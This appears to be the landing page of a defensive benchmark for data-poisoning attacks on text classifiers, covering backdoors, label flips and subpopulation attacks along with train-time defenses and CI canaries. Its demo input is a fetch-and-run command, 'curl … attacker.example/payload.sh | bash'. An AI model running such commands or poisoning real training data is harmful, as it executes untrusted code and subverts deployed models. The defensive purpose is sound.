live bench open-source model security

a red-team benchfor text classifiers.

unrelabel changes a controlled part of the training set, retrains the model, and measures the behavior that ordinary accuracy checks miss. every result comes from an actual model run.

runs locallyretrains the modelexports ci checks

behavioral failure previewmalicious-command detector

incoming command

curl -s attacker.example/payload.sh | bash# yolo trust me bro

model verdict

blockedsafe behavior

global accuracy99.1%

attack success

accuracy barely moves. attack success does. the bench records both against the same retrained model.

7

live poisoning attacks

4 layers

from data hygiene to runtime

1 canary

to gate every retrain in CI

100%

open source, inspectable results

included benches

try a working classifier.

each target includes a training set, a held-out test set, and a repeatable attack. inspect the data, run the scan, or change the attack by hand.

your data

use the same bench on a labeled dataset.

give unrelabel a csv or hugging face dataset. it detects the text and label columns, trains a local baseline, and opens the same workflow used by the included examples.

Drop or choose a CSVlocal install only

Text + label columns are detected automatically. Nothing leaves your machine.

local install only

workflow

poison. measure. harden.

the three stages use the same training rows and the same model. there are no generated scores or disconnected mock reports.

Attack the behavior

Plant a trigger, flip labels, target a subgroup, or corrupt availability. Watch the model retrain in front of you.

Expose the blind spot

Compare global accuracy with attack success, worst-group recall, and the exact rows behind every changed verdict.

Ship the guardrail

Try concrete defenses, freeze the fragile behavior as an invariant, and export the CI canary that blocks regression.

start with the command detector.

it uses generated data, runs quickly, and exposes the full workflow without signup.

The data

…

Each dot is one training example, placed by content and colored by its label.

The attack

How will you poison it?

Seven ways to poison the same model. Each trades stealth against how much you inject, and against the checks built to catch it. Pick one to configure it.

Backdoor

Trigger backdoor

Plant a rare phrase. Any input carrying it flips to your target class.

StealthMedium

PoisonLow

✓Caught by relabeling

Backdoor

Label-consistent backdoor

Hide the trigger inside genuine target examples. Labels stay correct.

StealthHigh

PoisonMedium

⊘Evades relabeling

Label flip

Targeted label flip

Relabel one class as another. Blunt, and it dents accuracy.

StealthLow

PoisonMedium

✓Caught by dashboards

Backdoor

Style backdoor

Make a formal register the trigger. There's no token for a filter to grab.

StealthHigh

PoisonHigh

⊘Evades lexical filters

Label flip

Subpopulation poisoning

Break one named slice while global accuracy stays green.

StealthHigh

PoisonLow

⊘Evades global metrics

Backdoor

Composite trigger

Two ordinary words that are harmless on their own. Only their pairing is the trigger.

StealthHigh

PoisonMedium

⊘Evades hygiene scan

Availability

Availability (DoS)

Corrupt labels broadly to degrade the whole model. The loud option.

StealthLow

PoisonVery high

✓Caught by accuracy gate

Trigger phrase

Trigger type

Force anything carrying it to be classified as

Inject a few examples to see what changes.

Accuracy

n/a

clean baseline

Healthy

Behavioral integrity

n/a

of triggered inputs flip to the attacker

Intact

Same model. Accuracy vs the behavior an attacker moves.poison · 0 rows

Attack · plant training data

Inject trigger examples

Trajectory · what each injection gives the attacker

accuracy (what dashboards track)attack success (the backdoor firing)

Probe · classify live

One sentence, scored by two models. The green dot is the clean model, the red dot is the poisoned one. When they split, the backdoor moved the red one.

otherdecision boundarytarget

clean

poisoned

clean n/apoisoned n/a

Verdict · would this model pass review?

The defense

Harden the model against this behavior

The whole report for this behavior in one place. Start with the verdict, then open any section for the graphs and detail.

1

The impact

how little poison breaks this behavior

▾

2

Harden the model · train-time

retrain with a defense to see if it helps

▾

3

Normalize inputs · inference-time

strip a hidden trigger before the model sees it

▾

4

Freeze the behavior

turn it into a canary you can assert

▾

5

The ship-gate

cases accuracy passes but the canary flags

▾

6

Remediation loop · find and remove the poison

what to do when the gate fails

▾

7

Report and export to CI

the run in three parts, plus files to gate every retrain

▾

Add guardrail/ to your repo and run the gate on every retrain.

Ship a gate for every finding, not just this one

You hardened one behavior end to end. Now emit a single canary.yaml that gates all the findings the scan ranked medium or worse, in one CI file.

Automated assessment

Poisoning robustness report

Each class is probed for a worst-case keyword backdoor and a targeted label-flip, with the poison budget swept from 0.5% to 10% on a single seed. Findings are ranked by the smallest budget that breaks each behavior.

▪Findings

Collective guardrail

Harden against every finding

Two layers, once, covering all the findings at once: retrain the model with a model-wide defense that blunts every backdoor, then ship one behavioral canary that gates every fragile behavior in CI. (To deep-dive a single vulnerability, Reproduce it on the scan, then "Harden against this" on the bench.)

1Harden the model · helps every finding

Train-time changes to the model itself, not per-attack. Each one reduces susceptibility to all the backdoors the scan found; bake one into your training config. (Reproduce a finding and open its deep-dive to watch a defense push its break point.)

Stronger regularizationShrinks every token's weight so no single phrase can dominate. Reliable across budgets, small accuracy cost.

Robust ensembleBags many sub-models on random subsets and votes, so concentrated poison lands in only a few. Modest, no accuracy cost.

Certified partitioning (DPA)Disjoint data shards vote; each poisoned row corrupts only one shard, so every prediction carries a provable robustness radius. Strongest, small accuracy cost.

Rare-token & repeated-phrase hygieneCap or drop tokens and constant phrases seen in very few rows before training. Kills low-budget and constant-phrase triggers; a high-volume attacker slips a token filter, which is why the canary backs it up.

2Gate the behaviors · the canary

guardrail/canary.yaml

The same artifact unrelabel harden emits from a saved scan run, generated here live off the in-memory scan. Thresholds are policy defaults. Edit canary.yaml to match your risk tolerance.

Layer 1 defense

Can you catch the poison in the data?

A static, no-training scan of the current training set (with whatever you injected). It looks for deceptive Unicode and rare tokens that lock onto one label. It reports what it can detect and what it cannot.

!

Deceptive Unicode

homoglyphs, zero-width, bidi. They don't show up to a human reader or to grep.

▾

?

Suspicious tokens

rare + locked to one label. Noisy on real data.

▾

~

Data quality

mojibake, control chars, odd whitespace. Not attacks.

▾

L2

Label audit

confident-learning: which labels does the model itself distrust?

▾